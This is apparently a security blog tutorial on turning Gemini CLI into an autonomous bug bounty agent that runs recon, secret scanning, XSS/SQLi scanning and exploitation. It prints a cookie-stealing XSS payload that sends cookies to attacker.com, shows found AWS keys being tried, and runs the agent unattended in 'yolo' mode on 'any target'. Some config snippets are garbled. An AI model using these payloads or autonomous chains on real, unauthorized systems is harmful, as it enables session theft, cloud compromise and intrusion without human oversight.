Gemini CLI just automated Bug Bounty – Here’s How You Can Do It Too (Full Chain) + Video

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Introduction:

Modern bug bounty hunting is no longer about manual probing but about orchestrating AI‑driven automation that executes reconnaissance, secret scanning, exploitation, and reporting in a single command. A recent breakthrough demonstrated how the Gemini CLI, paired with a custom `GEMINI.md` configuration, can run a complete bug bounty automation chain on any target, reducing a multi‑hour process to about 20 minutes. This article unpacks that automation chain, provides step‑by‑step implementation guides, and explores how you can adapt this workflow for your own ethical hacking engagements.

Learning Objectives:

  • Understand the four phases of an AI‑driven bug bounty automation chain: reconnaissance, secret scanning, vulnerability scanning, and exploitation.
  • Learn to configure Gemini CLI with custom directives to orchestrate security tools like subfinder, httpx, trufflehog, dalfox, and sqlmap.
  • Gain hands‑on experience with Linux commands and real‑world automation techniques to scale your bug hunting efficiency.

You Should Know:

1. Configuring Gemini CLI for Automated Bug Hunting

The core of the automation is a `GEMINI.md` file placed in ~/.gemini/. This file defines custom commands and phases that the Gemini CLI executes when you say, for example, bb full <target>. The configuration instructs the AI to run a series of commands, from subdomain enumeration to XSS testing, without manual intervention.

Step‑by‑step guide:

  1. Install Gemini CLI – Follow Google’s official documentation to install and authenticate the CLI.
  2. Create the `~/.gemini/GEMINI.md` file with the following structure: 
    BB-Auto (Bug Bounty Automation)
When user says "bb full <target>":
Phase 1: Recon
- `do recon on <target>`
- `do iprecon on <target>`
- `give me endpoint for <target>`
- `analyze bypasses and build wordlist for <target>`

Phase 2: Secret Scanning with TruffleHog
```bash
mkdir -p _secrets
cat _recon/httpx.txt | trufflehog http --concurrency=10 --json > _secrets/http_secrets.json
trufflehog github --org=<target_org> --json > _secrets/github_secrets.json
trufflehog filesystem _jsrecon/ --json > _secrets/js_secrets.json
jq 'select(.Verified == true)' _secrets/.json > verified_secrets.txt

Phase 3: Scanning

  • XSS: `dalfox file _endpoints/endpoints_wordlist.txt –only-poc -o xss.txt`
    – Redirect: `redirfinder` workflow on params
  • SQLi: `sqlmap -m httpx.txt –batch –smart –level=1 –time-sec=2`

Phase 4: Exploitation

  • XSS PoC: ``
    – Test verified secrets from TruffleHog

Quick Commands

– `bb quick ` = Phase 1 only (5 min)
– `bb full ` = All phases (20 min)
– `bb secrets ` = Phase 2 only (TruffleHog deep scan)

3. Verify tool dependencies before running the chain: 
```bash
for tool in trufflehog jq dalfox subfinder httpx katana sqlmap git; do command -v $tool || echo "Missing: $tool"; done

4. Execute the full chain with: `gemini –yolo “bb full example.com”`

This configuration transforms Gemini CLI into a personal bug bounty assistant, capable of running the entire workflow autonomously.

  1. Phase 1: Reconnaissance – Mapping the Attack Surface

Thorough reconnaissance is the foundation of successful bug hunting. The automation uses multiple tools to discover subdomains, identify live hosts, and collect endpoints.

Step‑by‑step guide:

1. Subdomain enumeration with `subfinder` and `assetfinder`:

subfinder -d target.com -all -silent | tee subdomains.txt
assetfinder --subs-only target.com | anew subdomains.txt

2. Probe live hosts using `httpx` to filter only accessible web servers: 

cat subdomains.txt | httpx -silent -ports 80,443,8080,8443 -status-code -title -tech-detect -o alive_hosts.txt

3. Crawl endpoints with `katana` to discover all URLs and parameters: 

katana -u https://target.com -d 5 -o all_endpoints.txt

4. Build a bypass wordlist by analyzing response differences and known bypass techniques.

This phase typically takes 5 minutes and provides a comprehensive list of live hosts, endpoints, and technologies in use.

3. Phase 2: Secret Scanning with TruffleHog

Leaked secrets (API keys, passwords, tokens) are among the most critical findings in bug bounty. TruffleHog not only detects secrets but also verifies them to ensure they are currently valid.

Step‑by‑step guide:

  1. Scan HTTP responses for secrets in captured traffic: 
    cat _recon/httpx.txt | trufflehog http --concurrency=10 --json > http_secrets.json

2. Scan public GitHub organizations for exposed secrets:

trufflehog github --org=target_org --json > github_secrets.json

3. Scan local JavaScript files for embedded secrets:

trufflehog filesystem _jsrecon/ --json > js_secrets.json

4. Filter only verified secrets using `jq`:

jq 'select(.Verified == true)' .json > verified_secrets.txt

TruffleHog’s verification feature attempts to use the discovered secret against the respective service to confirm it is still live, dramatically reducing false positives. This is particularly valuable for API security and cloud hardening, as a single verified AWS key can lead to full cloud compromise.

  1. Phase 3: Vulnerability Scanning – XSS, Redirects, and SQLi

With a list of live endpoints, the automation launches targeted scans for cross‑site scripting (XSS), open redirects, and SQL injection vulnerabilities.

Step‑by‑step guide:

  1. XSS scanning with Dalfox – Dalfox is a fast, powerful XSS scanner that auto‑injects payloads and verifies execution: 
    dalfox file endpoints.txt --only-poc -o xss_results.txt

    For blind XSS, use: dalfox file endpoints.txt --only-poc --blind.

  2. Open redirect testing with a custom `redirfinder` script that checks common redirect parameters.
  3. SQL injection scanning with `sqlmap` in batch mode to avoid interactive prompts: 
    sqlmap -m httpx.txt --batch --smart --level=1 --time-sec=2 --output-dir=sqlmap_results

    The `–batch` flag ensures the scan runs unattended, while `–smart` and `–level=1` balance speed and depth.

This phase outputs proof‑of‑concept (PoC) payloads for each identified vulnerability, ready to be included in bug reports.

  1. Phase 4: Exploitation – Cookie Stealing and Live Secret Testing

Exploitation confirms the impact of discovered vulnerabilities. For XSS, the automation generates a PoC that steals session cookies; for secrets, it tests them against the corresponding services.

Step‑by‑step guide:

  1. Cookie stealing XSS PoC – The automation injects a script that exfiltrates cookies to an attacker‑controlled server: 
    <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  2. Test verified secrets – For each verified secret in verified_secrets.txt, attempt to authenticate: 
    Example for AWS key
aws configure set aws_access_key_id <key>
aws configure set aws_secret_access_key <secret>
aws s3 ls
  3. Record exploitation notes – Document the exact steps taken and the impact (e.g., data accessed, commands executed).

This final phase turns theoretical vulnerabilities into demonstrable security flaws, increasing the likelihood of a bounty payout.

  1. Extending the Chain: API Security and Cloud Hardening

Modern targets often expose REST or GraphQL APIs. The automation chain can be extended with API‑specific tools and cloud hardening checks.

Step‑by‑step guide:

  1. API endpoint discovery – Use `gospider` or `katana` with API‑specific filters: 
    gospider -s https://target.com -o api_endpoints -c 10 -d 3 | grep -E "api|v1|graphql"
  2. API security testing with tools like `jwt-tool` for token flaws: 
    jwt-tool <JWT_TOKEN> -t -X a
  3. Cloud hardening checks – Enumerate cloud resources exposed by misconfigurations: 
    AWS S3 bucket enumeration
aws s3 ls s3://target-bucket/ --no-sign-request

    For Azure, use az storage blob list --account-name <account> --container-name <container>.

These additions help uncover API misconfigurations, IDOR vulnerabilities, and publicly exposed cloud storage.

7. Mitigation and Defensive Strategies

Understanding exploitation is only half the battle. Effective mitigation requires implementing security controls at every layer.

Step‑by‑step guide for defenders:

  1. Prevent XSS by implementing Content Security Policy (CSP), output encoding, and input validation.
  2. Secure secrets by using secret managers (AWS Secrets Manager, HashiCorp Vault) and rotating keys frequently. Run `trufflehog` in CI/CD pipelines to catch leaks before they reach production.
  3. Harden APIs with rate limiting, authentication, and proper authorization checks. Use tools like `sqlmap` to validate input sanitization.
  4. Monitor for attack patterns using Web Application Firewalls (WAF) and intrusion detection systems.

Defenders should also conduct regular penetration tests and bug bounty programs to identify gaps before attackers do.

What Undercode Say:

  • AI‑driven automation, as demonstrated with Gemini CLI, significantly lowers the barrier to entry for bug bounty hunting while increasing the speed and depth of testing.
  • The four‑phase chain—reconnaissance, secret scanning, vulnerability scanning, and exploitation—provides a repeatable, comprehensive methodology that can be adapted to any target.
  • However, automation is not a silver bullet. Manual verification and creative thinking remain essential, especially for business logic flaws and complex API vulnerabilities.
  • Defenders must respond by integrating similar automated scans into their CI/CD pipelines and adopting a continuous threat exposure management (CTEM) mindset.

Prediction:

As AI models like Gemini CLI become more accessible, we will see a rise in fully autonomous bug hunting agents that not only execute predefined chains but also learn from past findings to prioritize new targets. This will democratize security research but also force organizations to accelerate their defensive automation. Expect bug bounty platforms to evolve, incorporating AI‑generated reports and requiring researchers to demonstrate unique, non‑automated insight. The future belongs to hybrid workflows where AI handles the mundane and humans tackle the creative.

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